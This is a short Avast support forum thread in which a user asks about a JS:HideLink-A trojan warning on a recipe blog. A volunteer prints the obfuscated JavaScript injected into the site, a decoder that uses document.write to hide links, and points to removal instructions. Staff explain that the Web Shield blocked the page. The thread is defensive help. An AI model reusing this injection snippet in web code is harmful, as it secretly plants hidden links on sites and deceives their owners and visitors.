Author Topic: Infection identified > JS:HideLink-A [Trj]  (Read 4678 times)

0 Members and 1 Guest are viewing this topic.

Nikki85

  • Guest
Infection identified > JS:HideLink-A [Trj]
« on: March 10, 2014, 08:59:55 PM »
Hi everyone,

I installed avast. Had some tabs open. It seemed that avast had a prob with one of the websites i had opened cause i received the following warning:

Infektion erkannt!:

Infekton: JS:HideLink-A [Trj]
URL: http://veganyumyum.com/2009/07/blt-salad/

Also see screenshot attached.

I also had a scan of my mac and Avast didn't find any infected data, only a view warnings.

Two questions now:

1. Could you tell me what I should do about the infection warning? Is it a real threat or did Avast detect a harmless site as a threat by mistake?
2. What can i do about the warnings? I am not able to click or delete them. I dont think the warnings are a real danger but still i would like to know what to do with 'em.

Thanks a lot!

Offline jefferson sant

  • Starting Graphoman
  • *
  • Posts: 6677
  • volunteer
Re: Infection identified > JS:HideLink-A [Trj]
« Reply #1 on: March 11, 2014, 03:32:49 AM »
hello.

detection is always correct
and mostly blocked by web shield
delete or modify following code the malicious.

Code: [Select]
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a< =l){m=x[l-a];
t=z='';
for(v=0;v< m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;} doc​ument.write ('< '+x[0]+' '+x[4]+'> .'+x[2]+'{'+x[1]+'}< /'+x[0]+'> ');}xViewState();
< / sc​ript > < /head>


http://sitecheck2.sucuri.net/results/veganyumyum.com

http://www.avgthreatlabs.com/website-safety-reports/domain/veganyumyum.com/

For removal of any malcode read instructions found here:

http://joomlaboy.com/tutorials/joomla/88-solved-autson-slideshow-clickjack-issue

« Last Edit: March 11, 2014, 03:34:45 AM by jefferson santiag »

Offline krahulik

  • Avast team
  • Sr. Member
  • *
  • Posts: 291
Re: Infection identified > JS:HideLink-A [Trj]
« Reply #2 on: March 13, 2014, 02:19:40 PM »
Hello,
  the pop-up means that the Web Shield has blocked a load of the web site. If the web page contained a virus, it could not reach your computer.

Nikki85

  • Guest
Re: Infection identified > JS:HideLink-A [Trj]
« Reply #3 on: March 19, 2014, 05:35:32 PM »
Hey krahulik,

many thanks!

 ::)